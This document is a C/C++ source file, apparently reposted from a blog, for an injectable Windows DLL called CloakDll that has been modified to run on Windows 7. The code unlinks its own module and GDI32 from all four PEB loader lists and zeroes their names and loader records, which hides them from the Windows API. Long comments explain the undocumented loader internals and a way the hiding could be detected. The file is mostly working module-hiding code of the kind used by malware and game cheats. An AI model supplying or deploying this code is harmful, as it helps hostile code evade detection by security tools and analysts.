// This modification is based on Darawk's CloakDll instrumentation with
// some tweaks from me to get it working on Windows 7 and through the
// use of my own DLL - nitrogrlie
// CloakDll - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of CloakDll is to allow the user to hide any loaded
// module from the windows API. It works by accessing the modules
// list stored in the PEB, and subsequently unlinking the module
// in question from all 4 of the doubly-linked lists that it's a
// node of. It then zeroes out the structure and the path/file
// name of the module in memory. So that even if the memory where
// the data about this module used to reside is scanned there will
// still be no conclusive evidence of it's existence. At present
// there is only one weakness that I have found in this method.
// I'll describe how it may still be possible to discover at least
// that a module has been hidden, after a brief introduction to how
// the GetModuleHandle function works.
//
// *The following information is not documented by Microsoft. This
// information consists of my findings while reverse-engineering
// these functions and some of them may be incorrect and/or
// subject to change at any time(and is almost definitely different
// in different versions of windows, and maybe even in different
// service packs). I've tried to make my code as version independant
// as possible but certain parts of it may not work on older versions
// of windows. I've tested it on XP SP2 and there i'll guarantee
// that it works, but on any other versions of windows, it's anyone's
// guess.*
//
// GetModuleHandle eventually calls GetModuleHandleExW, which in
// turn accesses the native API function GetDllHandle, which calls
// GetDllHandleEx. And it's not until here, that we actually see
// anything even begin to look up information about loaded modules.
// Whenever GetModuleHandle is called, it saves the address of the
// last ModuleInfoNode structure that it found in a global variable
// inside of ntdll. This global variable is the first thing
// checked on all subsequent calls to GetModuleHandle. If the
// handle being requested is not the one that was requested the last
// time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
// LdrpCheckForLoadedDll begins by converting the first letter of the
// module name being requested to uppercase, decrementing it by 1 and
// AND'ing it with 0x1F. This effectively creates a 0-based index
// beginning with the letter 'A'. The purpose of this is so that
// the module can first be looked up in a hash table. The hash table
// consists entirely of LIST_ENTRY structures. One for each letter
// 'A' through 'Z'. The LIST_ENTRY structure points to the first
// and last modules loaded that begin with the letter assigned to
// that entry in the hash table. The Flink member being the first
// loaded beginning with that letter, and the Blink member being the
// last. The code scans through this list until it finds the module
// that it's looking for. On the off-chance that it doesn't find it
// there, or if the boolean argument UseLdrpHashTable is set to false
// it will begin going through one of the other three lists. If, at
// this point it still doesn't find it, it will admit defeat and return
// 0 for the module handle.
//
// Weakness: The global variable inside ntdll that caches the pointer
// to the last module looked up could be used to at least detect the
// fact that a module has been hidden. The LdrUnloadDll() function
// will set this value to 0 when it unloads a module, so if the cache
// variable points to an empty structure, the only logical conclusion
// would be a hidden module somewhere in the process. This could be
// resolved by using the static address of this variable and simply
// zeroing it out. However, this would make the code specific to only
// one version of windows. You could also scan the address space of
// ntdll for any occurences of the base address(aka module handle)
// of the module you're hiding. However, this would be slow and it
// would clutter up the CloakDll_stub function, because it'd have to
// all be done manually. And i'd have to either use a static base
// address for ntdll...which would probably work on most versions
// of windows, however I really don't like using static addresses.
// Or i'd have to manually locate it by writing my own unicode
// string comparison code, to lookup ntdll in the list by it's name.
// Realistically though anyone trying to detect this way would run
// into the same problem. That their code would not be version
// independant. So, it's unlikely to see any largescale deployment
// of such a technique. However, anyone who would like to solve
// this problem themselves is perfectly free, and encouraged to do
// so.
#include
#include
#include
#include
#include
#pragma comment(lib, "shlwapi.lib")
#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
(x).Flink->Blink = (x).Blink;
#pragma pack(push, 1)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _ModuleInfoNode
{
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
HMODULE baseAddress; // Base address AKA module handle
unsigned long entryPoint;
unsigned int size; // Size of the modules image
UNICODE_STRING fullPath;
UNICODE_STRING name;
unsigned long flags;
unsigned short LoadCount;
unsigned short TlsIndex;
LIST_ENTRY HashTable; // A linked list of any other modules that have the same first letter
unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;
typedef struct _ProcessModuleInfo
{
unsigned int size; // Size of a ModuleInfo node?
unsigned int initialized;
HANDLE SsHandle;
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;
#pragma pack(pop)
// Forward prototypes
void CloakDll( HMODULE hMod );
bool CloakModule( ModuleInfoNode * module );
// Globals
HMODULE hDLL = 0;
// Define the DLL's main function
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulReason, LPVOID lpReserved) {
// Get rid of compiler warnings since we do not use this parameter
UNREFERENCED_PARAMETER(lpReserved);
switch( ulReason ) {
// If we are attaching to a process
case DLL_PROCESS_ATTACH:
//MessageBox(0, "DLL Locked and Loaded.", "DLL Injection Works!", 0);
hDLL = hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return (TRUE);
}
extern "C" __declspec(dllexport) void Initialize() {
DWORD ThreadID;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&CloakDll, GetModuleHandle("GDI32.dll"), 0, &ThreadID);
}
void CloakDll(HMODULE hMod) {
ProcessModuleInfo *pmInfo;
ModuleInfoNode *module;
_asm {
mov eax, fs:[18h] // TEB
mov eax, [eax + 30h] // PEB
mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO
mov pmInfo, eax
}
ModuleInfoNode* origModule = 0, *tohideModule = 0;
module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
while( module->baseAddress ) {
if( module->baseAddress == hMod ) {
tohideModule = module;
}
else if ( module->baseAddress == hDLL ) {
origModule = module;
}
module = (ModuleInfoNode *)(module->LoadOrder.Flink);
}
// Cloak the modules, if we found them, call return true/false but I don't check
// not sure why you would necessarily want to
CloakModule( origModule );
CloakModule( tohideModule );
// Check our work by printing all the modules for the PE we are injected
FILE * file;
file = fopen("C:\\Users\\Public\\Cloak.txt", "w");
module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
while(module->baseAddress) {
fprintf(file, "Module: %S\n", module->fullPath.Buffer);
fflush(file);
module = (ModuleInfoNode *)(module->LoadOrder.Flink);
}
// Close our file handles
fflush(file);
fclose(file);
// Exit our thread and free our DLL
if( hDLL ) {
__asm {
push -2
push 0
push hDLL
mov eax, TerminateThread
push eax
mov eax, FreeLibrary
jmp eax
}
}
}
bool CloakModule( ModuleInfoNode * module ) {
// Quick error checking in-case some module wasn't found
if( module->baseAddress ) {
// Remove the module entry from the list here
///////////////////////////////////////////////////
// Unlink from the load order list
UNLINK(module->LoadOrder);
// Unlink from the init order list
UNLINK(module->InitOrder);
// Unlink from the memory order list
UNLINK(module->MemoryOrder);
// Unlink from the hash table
UNLINK(module->HashTable);
// This code will pretty much always be optimized into a rep stosb/stosd pair
// so it shouldn't cause problems for relocation.
// Zero out the module name
DWORD oldProt;
VirtualProtect(module->fullPath.Buffer, module->fullPath.Length, PAGE_READWRITE, &oldProt);
memset(module->fullPath.Buffer, 0, module->fullPath.Length);
VirtualProtect(module->fullPath.Buffer, module->fullPath.Length, oldProt, &oldProt);
// Zero out the memory of this module's node
VirtualProtect(module, sizeof(ModuleInfoNode), PAGE_READWRITE, &oldProt);
memset(module, 0, sizeof(ModuleInfoNode));
VirtualProtect(module, sizeof(ModuleInfoNode), oldProt, &oldProt);
return true;
}
return false;
}
CloakDll - by Darawk Win7
Suscribirse a:
Enviar comentarios (Atom)
0 comentarios:
Publicar un comentario